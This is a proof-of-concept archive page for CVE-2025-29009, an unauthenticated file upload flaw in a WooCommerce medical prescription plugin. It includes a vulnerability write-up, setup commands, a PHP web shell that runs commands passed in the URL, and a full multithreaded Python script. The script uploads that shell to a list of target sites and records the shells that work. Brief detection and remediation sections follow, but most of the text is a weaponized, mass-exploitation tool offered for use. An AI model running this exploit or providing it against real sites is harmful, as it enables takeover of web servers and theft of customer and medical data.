PoC Archive PoC Archive
Critical CVE-2025-29009 patched

Webkul Medical Prescription Attachment for WooCommerce — Unrestricted File Upload to Web Shell (CVE-2025-29009)

by Nxploited · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-29009
Category
web
Affected product
Webkul "Medical Prescription Attachment Plugin for WooCommerce" (WordPress plugin)
Affected versions
<= 1.2.3 (fixed in 1.2.4, per repository README)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited
CVE / AdvisoryCVE-2025-29009
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagswordpress, woocommerce, medical-prescription-attachment, unrestricted-file-upload, webshell, cwe-434, unauthenticated, python
RelatedN/A

Affected Target

FieldValue
Software / SystemWebkul “Medical Prescription Attachment Plugin for WooCommerce” (WordPress plugin)
Versions Affected<= 1.2.3 (fixed in 1.2.4, per repository README)
Language / PlatformPython 3.8+ exploit script targeting PHP/WordPress + WooCommerce sites
Authentication RequiredNo
Network Access RequiredYes

Summary

The Webkul Medical Prescription Attachment plugin for WooCommerce exposes an AJAX action, wkwcpa_handle_prescription_session, that lets storefront visitors upload a “prescription” file attachment without validating the uploaded file’s extension or MIME type on the server side. Because the endpoint is reachable pre-authentication (it only requires a WordPress nonce that is itself embedded in the public storefront’s page source), any unauthenticated visitor can upload a PHP web shell disguised as a prescription attachment and have it stored in a web-accessible uploads directory. The PoC script scrapes the nonce from the public shop/product pages, uploads a signed PHP shell via the vulnerable AJAX handler, parses the returned attachment URL from the JSON response, and verifies remote code execution by requesting the shell and checking for a unique signature string. Successful exploitation gives the attacker arbitrary PHP execution on the WordPress host, i.e. full compromise of the site and, depending on hosting configuration, the underlying server.


Vulnerability Details

Root Cause

The plugin’s front-end AJAX handler for the wkwcpa_handle_prescription_session action accepts a file array (wkwc_pa_prescription_attachment[]) and stores it without checking that the uploaded file is an actual image/document type (no extension allow-list, no MIME sniffing, no re-encoding). The only “protection” is a WordPress nonce (ajaxNonce), but that nonce is generated for anonymous/unauthenticated visitors and shipped directly in the storefront’s inline JavaScript object wkwcpaFrontObj:

1
2
3
4
5
6
7
var wkwcpaFrontObj = {
    ajax: {
        ajaxUrl: "https://target/wp-admin/admin-ajax.php",
        ajaxNonce: "abcdef1234"
    }
    ...
};

Because the nonce is public and the upload handler performs no file-type validation, an attacker can submit a .php file as the “attachment” and the server will happily save it under the WordPress uploads directory and return its public URL, resulting in classic CWE-434 (Unrestricted Upload of File with Dangerous Type) leading to remote code execution.

Attack Vector

  1. Request the site’s front page, /shop/, /product/, or /?wkwcpa=1 until one returns HTTP 200/301/302 containing the plugin’s inline script.
  2. Parse the wkwcpaFrontObj JavaScript object out of the HTML to recover ajaxUrl (normally wp-admin/admin-ajax.php) and ajaxNonce.
  3. POST to ajaxUrl with action=wkwcpa_handle_prescription_session, type=upload, nonce=<ajaxNonce>, and a multipart file field wkwc_pa_prescription_attachment[] containing a PHP web shell (e.g. shell.php with an embedded signature string).
  4. Parse the JSON response’s data.attachments_img_html array for the src attribute pointing at the newly uploaded file’s public URL.
  5. Request the returned shell URL and confirm the unique signature string appears in the response, proving the PHP file was stored and executed unmodified.
  6. Record verified shell URLs to shells.txt for later interactive use (e.g. ?cmd= command execution).

Impact

An unauthenticated attacker gains arbitrary PHP code execution on the WordPress web server by planting a persistent web shell, leading to full site takeover, database access, defacement, lateral movement into the hosting environment, and potential further compromise of any co-hosted applications.


Environment / Lab Setup

- WordPress installation with WooCommerce active
- "Medical Prescription Attachment Plugin for WooCommerce" (Webkul) version <= 1.2.3 installed and active
- At least one product page (or the front page) rendering the wkwcpaFrontObj inline script
- Attacker host: Python 3.8+, pip install -r requirements.txt (requests, urllib3, rich)
- A prepared PHP web shell file (e.g. shell.php) containing a unique signature string for verification

Proof of Concept

PoC Script

See CVE-2025-29009.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

cat > shell.php <<'EOF'
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
EOF

echo "https://TARGET" >> list.txt

python3 CVE-2025-29009.py

Detection & Indicators of Compromise

- POST requests to /wp-admin/admin-ajax.php with action=wkwcpa_handle_prescription_session
  and a multipart field named wkwc_pa_prescription_attachment[] carrying a .php (or other
  executable) file instead of an image/PDF prescription document
- New files with executable extensions (.php, .phtml, .php5, etc.) appearing under
  wp-content/uploads/ that were not uploaded through normal admin/media workflows
- Outbound GET requests to uploaded files under wp-content/uploads/ with query strings
  such as ?cmd= shortly after the upload POST (shell verification / interactive use)
- Repeated automated requests to /, /shop/, /product/, /?wkwcpa=1 from a single source in
  rapid succession (front-page/nonce scraping behavior)

Signs of compromise:

  • Unexpected .php files inside wp-content/uploads/<year>/<month>/
  • Presence of unfamiliar signature strings or webshell code (e.g. system($_GET[...])) in uploaded files
  • Entries in shells.txt-style attacker tooling output pointing at your domain
  • Unexplained outbound connections or command execution originating from the web server process (php-fpm/apache/nginx worker)

Remediation

ActionDetail
Primary fixUpgrade “Medical Prescription Attachment Plugin for WooCommerce” to version 1.2.4 or later, which addresses the unrestricted file upload.
Interim mitigationDisable or remove the plugin until patched; block/deny execution of PHP files inside wp-content/uploads/ via web server config (e.g. Apache .htaccess or Nginx location block); add a WAF rule blocking non-image/PDF uploads to admin-ajax.php with action=wkwcpa_handle_prescription_session; audit uploads directory for existing planted shells.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-29009 on 2026-07-06. The repository’s README uses Nxploited’s standard stylized branding/banner, but the exploit logic (nonce scraping from wkwcpaFrontObj, upload via wkwcpa_handle_prescription_session, response parsing, and shell verification) is specific to this CVE and is a fully functional, working exploit chain.

CVE-2025-29009.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#Nxploited
# GitHub: https://github.com/Nxploited

import threading
import requests
import time
import os
import re
import json
import urllib3
import warnings
from queue import Queue, Empty
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich import box
from rich.theme import Theme

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
os.environ["NO_PROXY"] = "*"

theme = Theme({
    "banner": "bold bright_cyan",
    "accent": "bold bright_white",
    "ok": "bold bright_green",
    "fail": "bold bright_red",
    "info": "bright_white",
    "dim": "dim",
    "hacker": "bold bright_green",
})

console = Console(
    theme=theme,
    force_terminal=True,
    color_system="truecolor",
    soft_wrap=True
)

USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
REQUEST_TIMEOUT = 10
DEFAULT_THREADS = 10

SHELLS_FILE = "shells.txt"
shell_local_file = None
shell_signature = None

target_queue: "Queue[str]" = Queue()
state = {
    "total": 0,
    "processed": 0,
    "ok": 0,
    "fail": 0,
}
state_lock = threading.Lock()


def banner():
    lines = [
        " ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.  ",
        "/    |  /  |           ) /  /\\    ) |           ) (   ) /  /\\ /  /\\ (   ) ",
        "|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'| ",
        "\\    |/    |         /   \\/  /  /      )      /       / \\/  / \\/  /     / ",
        " `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'  ",
    ]
    name = "Nxploited"
    name_len = len(name)

    txt = Text()
    for idx, line in enumerate(lines):
        if idx == 2:
            mid = len(line) // 2
            start = mid - (name_len // 2)
            if start < 0:
                start = 0
            end = start + name_len
            left = line[:start]
            right = line[end:]
            txt.append(left, style="banner")
            txt.append(name, style="hacker")
            txt.append(right + "\n", style="banner")
        else:
            txt.append(line + "\n", style="banner")

    txt.append("\n", style="banner")
    txt.append("CVE-2025-29009 | File Upload\n", style="ok")
    console.print(Panel(txt, box=box.SQUARE, border_style="ok"))


def ask_config():
    global shell_local_file, shell_signature

    list_file = console.input("[accent]Targets file (default list.txt): [/]").strip()
    if not list_file:
        list_file = "list.txt"

    threads_raw = console.input(f"[accent]Threads (default {DEFAULT_THREADS}): [/]").strip()
    try:
        threads = int(threads_raw) if threads_raw else DEFAULT_THREADS
    except Exception:
        threads = DEFAULT_THREADS
    if threads < 1:
        threads = 1

    shell_name = console.input("[accent]Local shell filename (e.g. shell.php): [/]").strip()
    if not shell_name:
        shell_name = "shell.php"
    shell_local_file = shell_name

    sig = console.input("[accent]Unique shell signature (e.g. NxploitedShellOK): [/]").strip()
    if not sig:
        sig = "NxploitedShellOK"
    shell_signature = sig

    return list_file, threads


def read_targets(path: str):
    targets = []
    try:
        with open(path, "r", encoding="utf-8", errors="ignore") as f:
            for line in f:
                url = line.strip()
                if not url:
                    continue
                if not url.lower().startswith(("http://", "https://")):
                    url = "http://" + url
                targets.append(url.rstrip("/"))
    except FileNotFoundError:
        console.print(f"[fail]Targets file not found: {path}[/fail]")
        raise
    return targets


def save_shell_url(url: str):
    try:
        with open(SHELLS_FILE, "a", encoding="utf-8", errors="ignore") as f:
            f.write(url.strip() + "\n")
    except Exception:
        pass


def wide_nonce_extract(html: str):
    patterns = [
        r"var\s+wkwcpaFrontObj\s*=\s*(\{.*?\});",
        r"wkwcpaFrontObj\s*=\s*(\{.*?\});",
    ]
    for pat in patterns:
        m = re.search(pat, html, re.DOTALL)
        if not m:
            continue
        obj_str = m.group(1)
        try:
            data = json.loads(obj_str)
        except Exception:
            continue
        ajax = data.get("ajax", {})
        ajax_url = ajax.get("ajaxUrl") or ajax.get("ajax_url")
        ajax_nonce = ajax.get("ajaxNonce") or ajax.get("ajax_nonce")
        if ajax_url and ajax_nonce:
            return ajax_url, ajax_nonce

    m = re.search(r'"ajaxUrl"\s*:\s*"([^"]+)"[^}]*"ajaxNonce"\s*:\s*"([^"]+)"', html)
    if m:
        return m.group(1), m.group(2)

    m = re.search(r'"ajaxNonce"\s*:\s*"([^"]+)"[^}]*"ajaxUrl"\s*:\s*"([^"]+)"', html)
    if m:
        return m.group(2), m.group(1)

    m = re.search(r'wkwcpaFrontObj[^;]*', html)
    if m:
        chunk = m.group(0)
        url_m = re.search(r'["\']ajaxUrl["\']\s*:\s*["\']([^"\']+)["\']', chunk)
        nonce_m = re.search(r'["\']ajaxNonce["\']\s*:\s*["\']([^"\']+)["\']', chunk)
        if url_m and nonce_m:
            return url_m.group(1), nonce_m.group(1)

    return None, None


def resolve_front_page(base: str):
    candidates = [
        base + "/",
        base + "/shop/",
        base + "/product/",
        base + "/?wkwcpa=1",
    ]
    for url in candidates:
        try:
            resp = requests.get(
                url,
                headers={"User-Agent": USER_AGENT},
                verify=False,
                timeout=REQUEST_TIMEOUT,
            )
            if resp.status_code in (200, 302, 301):
                return url, resp.text
        except Exception:
            continue
    return None, None


def get_nonce_and_ajax(base: str):
    front_url, html = resolve_front_page(base)
    if not front_url or not html:
        return None, None, "no_front_page"

    ajax_url, nonce = wide_nonce_extract(html)
    if not ajax_url or not nonce:
        return None, None, "nonce_not_found"

    return ajax_url, nonce, None


def upload_shell(base: str):
    if not shell_local_file or not os.path.exists(shell_local_file):
        return False, None, "shell_file_missing"

    ajax_url, nonce, err = get_nonce_and_ajax(base)
    if err is not None:
        return False, None, err

    files = {
        "wkwc_pa_prescription_attachment[]": open(shell_local_file, "rb")
    }
    data = {
        "action": "wkwcpa_handle_prescription_session",
        "nonce": nonce,
        "type": "upload",
    }

    try:
        resp = requests.post(
            ajax_url,
            data=data,
            files=files,
            headers={"User-Agent": USER_AGENT},
            verify=False,
            timeout=REQUEST_TIMEOUT,
        )
    except Exception:
        try:
            files["wkwc_pa_prescription_attachment[]"].close()
        except Exception:
            pass
        return False, None, "upload_error"

    try:
        files["wkwc_pa_prescription_attachment[]"].close()
    except Exception:
        pass

    try:
        result = resp.json()
    except Exception:
        return False, None, "json_parse_error"

    if not isinstance(result, dict):
        return False, None, "json_not_dict"

    data_obj = result.get("data") or {}
    if not isinstance(data_obj, dict):
        return False, None, "data_not_dict"

    if not data_obj.get("success"):
        return False, None, "success_false"

    attachments = data_obj.get("attachments_img_html") or []
    if not isinstance(attachments, list) or not attachments:
        return False, None, "no_attachments"

    html = " ".join(str(x) for x in attachments)
    name = os.path.basename(shell_local_file)

    m = re.search(r'src=["\']([^"\']*%s)["\']' % re.escape(name), html)
    if not m:
        m = re.search(r'src=["\']([^"\']+)["\']', html)
        if not m:
            return False, None, "shell_url_not_found"

    shell_url = m.group(1)
    return True, shell_url, None


def verify_shell(shell_url: str):
    try:
        resp = requests.get(
            shell_url,
            headers={"User-Agent": USER_AGENT},
            verify=False,
            timeout=REQUEST_TIMEOUT,
        )
    except Exception:
        return False
    if resp.status_code == 200 and shell_signature and shell_signature in resp.text:
        return True
    return False


def print_status_line():
    with state_lock:
        total = state["total"]
        processed = state["processed"]
        ok = state["ok"]
        fail = state["fail"]
    msg = Text()
    msg.append("[", style="dim")
    msg.append("Status", style="accent")
    msg.append("] ", style="dim")
    msg.append(f"{processed}/{total} ", style="info")
    msg.append("OK:", style="dim")
    msg.append(f"{ok} ", style="ok")
    msg.append("FAIL:", style="dim")
    msg.append(f"{fail}", style="fail")
    console.print(msg)


def worker():
    while True:
        try:
            target = target_queue.get_nowait()
        except Empty:
            return

        base = target.rstrip("/")

        try:
            ok, shell_url, err = upload_shell(base)
        except Exception:
            ok, shell_url, err = False, None, "internal_error"

        if ok and shell_url and verify_shell(shell_url):
            save_shell_url(shell_url)
            with state_lock:
                state["ok"] += 1
            console.print(f"[ok]SHELL[/ok] {shell_url}")
        else:
            with state_lock:
                state["fail"] += 1
            console.print(f"[fail]FAIL[/fail] {base} ({err})")

        with state_lock:
            state["processed"] += 1

        target_queue.task_done()


def main():
    banner()
    list_file, threads = ask_config()

    try:
        targets = read_targets(list_file)
    except Exception:
        return

    if not targets:
        console.print("[fail]No targets loaded[/fail]")
        return

    for t in targets:
        target_queue.put(t)

    with state_lock:
        state["total"] = len(targets)
        state["processed"] = 0
        state["ok"] = 0
        state["fail"] = 0

    threads_list = []
    for _ in range(min(threads, len(targets) or 1)):
        th = threading.Thread(target=worker, daemon=True)
        th.start()
        threads_list.append(th)

    last_processed = -1
    while True:
        with state_lock:
            processed = state["processed"]
            total = state["total"]
        if processed != last_processed:
            print_status_line()
            last_processed = processed
        if processed >= total:
            break
        time.sleep(0.5)

    target_queue.join()
    for th in threads_list:
        th.join(timeout=0.1)

    console.print()
    print_status_line()
    console.print(Panel(Text(f"Shell URLs saved to {SHELLS_FILE}", style="ok"), border_style="ok", box=box.ROUNDED))


if __name__ == "__main__":
    main()